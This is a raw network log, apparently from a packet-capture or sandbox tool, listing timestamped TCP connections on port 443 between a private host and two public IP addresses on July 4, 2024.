Jul 4, 2024 20:19:01.083502054 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:01.713131905 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:01.713205099 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:01.715748072 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:01.715754986 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:01.715955973 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:01.717792034 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:01.760503054 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:02.824028969 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:02.824160099 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:02.824196100 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:02.827924967 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:02.829538107 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:02.829538107 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:02.829562902 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:02.831688881 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:02.833436012 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:02.833452940 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.431924105 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.435118914 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.435132027 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.618305922 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.618328094 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.618370056 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.618381023 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.619595051 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.619625092 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.619643927 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.619651079 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.619684935 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.661479950 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.707340956 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.707351923 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.707415104 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.707422018 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.708153963 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.708211899 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.708218098 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.709168911 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.709211111 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.709216118 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.711116076 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.711167097 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.711170912 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.755201101 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.796509981 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.796518087 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.796580076 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.796587944 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.796932936 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.796940088 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.796984911 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.796989918 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.797657967 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.797686100 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.797703028 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.797707081 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.797732115 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.798536062 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.798594952 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.798599958 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.798772097 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.798825979 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.798830986 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.799621105 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.799670935 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.799674988 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.800508022 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.800560951 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.800565004 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.801315069 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.801364899 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.801368952 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.848961115 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.886059046 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886066914 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886126995 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.886132956 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886298895 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886332035 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886347055 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.886352062 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886372089 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.886871099 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886924982 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886926889 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.886934996 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886940956 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.886967897 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.886982918 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.886986971 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.887089014 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.887593985 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.887649059 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.887653112 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.887836933 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.887887001 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.887890100 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.888443947 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.888500929 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.888504028 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.888721943 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.888780117 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.888784885 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.889420033 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.889473915 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.889477968 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.889750004 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.889780998 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.889805079 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.889810085 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.889830112 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.890373945 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.890419006 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.890422106 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.890434027 CEST	443	49896	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:03.890482903 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.890805960 CEST	49896	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:03.900773048 CEST	49897	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:03.900825977 CEST	443	49897	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:03.901046038 CEST	49897	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:03.901187897 CEST	49897	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:03.901207924 CEST	443	49897	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:04.498507023 CEST	443	49897	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:04.505501986 CEST	49897	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:04.505537987 CEST	443	49897	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:04.629157066 CEST	443	49897	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:04.629211903 CEST	443	49897	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:04.632072926 CEST	49897	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:04.632072926 CEST	49897	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:04.635484934 CEST	49898	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:04.635528088 CEST	443	49898	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:04.639605999 CEST	49898	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:04.643492937 CEST	49898	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:04.643507957 CEST	443	49898	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:05.130845070 CEST	49898	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:05.141680002 CEST	49899	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:05.141715050 CEST	443	49899	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:05.141835928 CEST	49899	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:05.142174006 CEST	49899	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:05.142188072 CEST	443	49899	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:05.176503897 CEST	443	49898	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:05.504348040 CEST	443	49898	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:05.504401922 CEST	49898	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:05.853066921 CEST	443	49899	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:05.855550051 CEST	49899	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:05.855562925 CEST	443	49899	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:05.980477095 CEST	443	49899	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:05.980624914 CEST	443	49899	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:05.980676889 CEST	49899	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:05.981084108 CEST	49899	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:05.982825994 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:05.982860088 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:05.982920885 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:05.983303070 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:05.983315945 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:06.581816912 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:06.582000017 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:06.583831072 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:06.583847046 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:06.584050894 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:06.589095116 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:06.632517099 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.256742954 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.256861925 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.256891012 CEST	443	49900	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.258884907 CEST	49901	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.258886099 CEST	49900	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.258908033 CEST	443	49901	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.259061098 CEST	49901	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.261488914 CEST	49901	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.261502028 CEST	443	49901	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.887681961 CEST	443	49901	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.889858007 CEST	49901	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.889879942 CEST	443	49901	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.927498102 CEST	49901	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.927527905 CEST	443	49901	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:07.927586079 CEST	49901	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:07.929152012 CEST	49902	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:07.929169893 CEST	443	49902	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:07.929229021 CEST	49902	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:07.929513931 CEST	49902	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:07.929522991 CEST	443	49902	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:08.529675961 CEST	443	49902	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:08.533497095 CEST	49902	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:08.533509016 CEST	443	49902	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:08.672297955 CEST	443	49902	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:08.672534943 CEST	443	49902	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:08.673675060 CEST	49902	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:08.673686028 CEST	443	49902	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:08.673713923 CEST	49902	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:08.673773050 CEST	49902	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:08.689496040 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:08.689557076 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:08.689759970 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:08.690095901 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:08.690118074 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:09.322176933 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:09.322324038 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:09.325495958 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:09.325510025 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:09.325730085 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:09.327128887 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:09.368505955 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:10.128071070 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:10.128148079 CEST	443	49903	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:10.128181934 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:10.128325939 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:10.128937006 CEST	49903	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:10.130347013 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:10.130371094 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:10.130460978 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:10.130723953 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:10.130736113 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:10.733656883 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:10.739686012 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:10.739706993 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.007220984 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.007241964 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.007364035 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.007371902 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.007499933 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.008589029 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.008596897 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.008667946 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.008672953 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.009411097 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.009584904 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.009589911 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.009700060 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.097539902 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.097681999 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.097692013 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.098814964 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.098891973 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.098896980 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.099703074 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.099828005 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.099832058 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.101283073 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.101396084 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.101401091 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.145936012 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.187185049 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.187192917 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.187344074 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.187364101 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.187393904 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.187535048 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.187541008 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.187815905 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.187894106 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.187897921 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.188790083 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.188872099 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.188875914 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.189639091 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.189738989 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.189743996 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.190874100 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.190943956 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.190948009 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.191592932 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.191673040 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.191677094 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.191740990 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.191817045 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.191822052 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.240592003 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.276937008 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.276943922 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.277029991 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.277036905 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.277223110 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.277267933 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.277297020 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.277301073 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.277343988 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.277906895 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.277915001 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.278026104 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.278033972 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.278075933 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.278441906 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.278536081 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.278541088 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.278848886 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.278934956 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.278939009 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.279340982 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.279423952 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.279428005 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.279604912 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.279714108 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.279720068 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.280407906 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.280499935 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.280503988 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.280581951 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.280659914 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.280663967 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.281371117 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.281459093 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.281462908 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.281593084 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.281706095 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.281711102 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.282167912 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.282213926 CEST	443	49904	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:11.282305002 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.282612085 CEST	49904	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:11.295308113 CEST	49905	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:11.295413971 CEST	443	49905	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:11.295581102 CEST	49905	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:11.296658993 CEST	49905	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:11.296694994 CEST	443	49905	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:11.888648033 CEST	443	49905	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:11.891138077 CEST	49905	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:11.891201019 CEST	443	49905	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:12.056987047 CEST	443	49905	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:12.057631016 CEST	443	49905	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:12.057637930 CEST	49905	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:12.057693958 CEST	443	49905	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:12.057722092 CEST	49905	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:12.057756901 CEST	49905	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:12.059395075 CEST	49906	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:12.059442997 CEST	443	49906	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:12.059518099 CEST	49906	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:12.059833050 CEST	49906	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:12.059864044 CEST	443	49906	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:12.682502985 CEST	443	49906	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:12.684351921 CEST	49906	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:12.684410095 CEST	443	49906	13.107.139.11	192.168.2.6
